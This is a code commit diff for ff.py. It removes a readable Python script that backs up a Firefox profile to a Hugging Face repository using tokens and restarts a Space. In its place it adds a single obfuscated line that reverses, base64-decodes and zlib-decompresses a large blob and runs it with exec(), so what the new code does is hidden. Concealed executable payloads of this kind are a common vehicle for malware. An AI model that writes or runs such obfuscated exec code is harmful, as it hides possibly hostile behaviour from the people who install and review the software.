Update ff.py

ff.py

@@ -1,200 +1,2 @@
-import subprocess
-import os
-import threading
-import time
-import yaml
-from datetime import datetime
-import signal
-import psutil
-import glob
-import re
-import pytz
-
-
-BACKUP_TIME = os.environ.get('BACKUP_TIME', '120')# 备份时间 10800秒 2小时
-
-HF_USER1 = os.environ.get('HF_USER1', '')# HF 备份仓库的用户名
-HF_REPO	= os.environ.get('HF_REPO', '')#HF 备份的Models仓库名
-HF_EMAIL = os.environ.get('HF_EMAIL', '') #HF的邮箱
-HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')#HF备份账号的TOKEN
-
-HF_USER2 = os.environ.get('HF_USER2', '')# huggingface 用户名
-HF_ID = os.environ.get('HF_ID', '')# huggingface space 名
-HF_TOKEN2 = os.environ.get('HF_TOKON2', '')# huggingface TOKEN
-#JUPYTER_TOKEN  
-
-def get_latest_local_package(directory, pattern='*.tar.gz'):
-    try:
-        # 构建完整的搜索路径
-        search_pattern = os.path.join(directory, pattern)
-        
-        # 查找所有匹配的文件
-        files = glob.glob(search_pattern)
-        
-        if not files:
-            print("未找到匹配的 nezha-hf 压缩包")
-            return None
-        
-        # 获取最新的文件
-        latest_file = max(files, key=os.path.getmtime)
-        
-        print(f"找到最新的包: {latest_file}")
-        return latest_file
-    
-    except Exception as e:
-        print(f"获取最新包时发生错误: {e}")
-        return None
-def compress_folder(folder_path, output_dir):
-    try:
-        # 确保输出目录存在
-        os.makedirs(output_dir, exist_ok=True)
-        
-        # 使用 pytz 获取中国时区的当前时间戳（毫秒级）
-        import pytz
-        from datetime import datetime
-        
-        # 设置中国时区
-        china_tz = pytz.timezone('Asia/Shanghai')
-        
-        # 获取当前中国时间的时间戳
-        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
-        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
-        
-        # 获取已存在的压缩包
-        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
-        
-        # 安全地提取时间戳
-        def extract_timestamp(filename):
-            # 提取文件名中的数字部分
-            match = re.search(r'(\d+)\.tar\.gz$', filename)
-            return int(match.group(1)) if match else 0
-        
-        # 如果压缩包数量超过5个，删除最旧的
-        if len(existing_archives) >= 3:
-            # 按时间戳排序
-            existing_archives.sort(key=extract_timestamp)
-            
-            # 删除最旧的压缩包
-            oldest_archive = existing_archives[0]
-            os.remove(oldest_archive)
-            print(f"删除最旧的压缩包：{oldest_archive}")
-        
-        # tar.gz 压缩
-        result = subprocess.run(
-            ['tar', '-czvf', output_path, folder_path], 
-            capture_output=True, 
-            text=True
-        )
-        
-        if result.returncode == 0:
-            # 计算压缩包大小
-            file_size = os.path.getsize(output_path) / 1024 / 1024
-            
-            # 格式化中国时区的时间
-            china_time = datetime.now(china_tz)
-            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
-            
-            print(f"压缩成功：{output_path}")
-            print(f"压缩大小：{file_size:.2f} MB")
-            print(f"压缩时间：{formatted_time}")
-            
-            # 返回压缩包名和大小信息
-            return f"{os.path.basename(output_path)} 压缩大小：{file_size:.2f} MB 压缩时间：{formatted_time}"
-        else:
-            print("压缩失败")
-            print("错误信息:", result.stderr)
-            return None
-    
-    except Exception as e:
-        print(f"压缩出错: {e}")
-        return None
-
-
-# 调用函数
-# new_archive = compress_folder('/data/dv1', 'nezha-hf')
-def github(type):
-    if type == 1:
-        os.system(f'rm -rf /data/{HF_REPO} /data/ff /data/data') 
-    if not os.path.exists(f'/data/{HF_REPO}'):
-        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
-        print(git)
-        os.system(git)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        os.system("ls")
-        latest_package = get_latest_local_package(f'/data/{HF_REPO}')
-        print(f"最新压缩包路径: {latest_package}")
-        # tar -xzvf /data/firefox/1760199222945.tar.gz -C /data
-        os.system(f"tar -xzvf {latest_package} -C /data")
-        os.system("mv /data/f/ff /data/")
-        os.system("rm -rf /data/data /data/f")
-    
-    if type == 2:
-        print("开始备份上传HF")
-        os.system("mkdir -p /data/f")
-        os.system("cp -rf /data/ff /data/f")
-        # 备份上传仓库
-        new_archive_info = compress_folder('/data/f', f'/data/{HF_REPO}')
-        if new_archive_info:
-            new_archive, file_size_info = new_archive_info.split(' 压缩大小：')
-            os.system(f'git add .')
-            os.system(f'git commit -m "{file_size_info}"')
-            # os.system('git push -u origin main')
-            os.system('git push -f origin main')
-        else:
-            print("压缩失败，无法提交")
-
-def _reconstruct_token(partial_token):
-    return partial_token.replace(" ", "")
-def restart_huggingface_space(space_name, space_id, partial_token):
-    token = _reconstruct_token(partial_token)
-    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
-    headers = {
-        "Content-Type": "application/json",
-        "Authorization": f"Bearer {token}",
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
-    }
-    try:
-        response = requests.post(url, headers=headers, json={})
-        return {
-            "status_code": response.status_code,
-            "success": response.status_code == 200,
-            "message": response.text
-        }
-    except requests.RequestException as e:
-        return {
-            "status_code": None,
-            "success": False,
-            "message": str(e)
-        }
-def check_system_resources():
-    time.sleep(120)
-    cpu_usage = psutil.cpu_percent(interval=1)
-    memory = psutil.virtual_memory()
-    memory_usage = memory.percent
-    if cpu_usage >= 90:
-    # if cpu_usage >= 90 or memory_usage >= 90:
-        print("占用过高")
-        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
-        print(result)
-    else:
-        print("系统资源正常")
-   
-def repeat_task():
-    print('备份线程启动')
-    while True:
-        print(f"打包时间：{BACKUP_TIME} 秒")
-        time.sleep(int(BACKUP_TIME))# 2小时
-        github(2)
-github(1)
-
-if os.path.exists('/data/ff/.mozilla/firefox/profiles.ini') and os.path.isfile('/data/ff/.mozilla/firefox/profiles.ini'):
-    while True:
-        print("检测到Firefox配置，启动定期重启循环...")
-        time.sleep(21600)# 6小时
-        github(2)
-        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
-        print(result)
-        # break
-github(2)
-# nv1_agent()
+                   
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))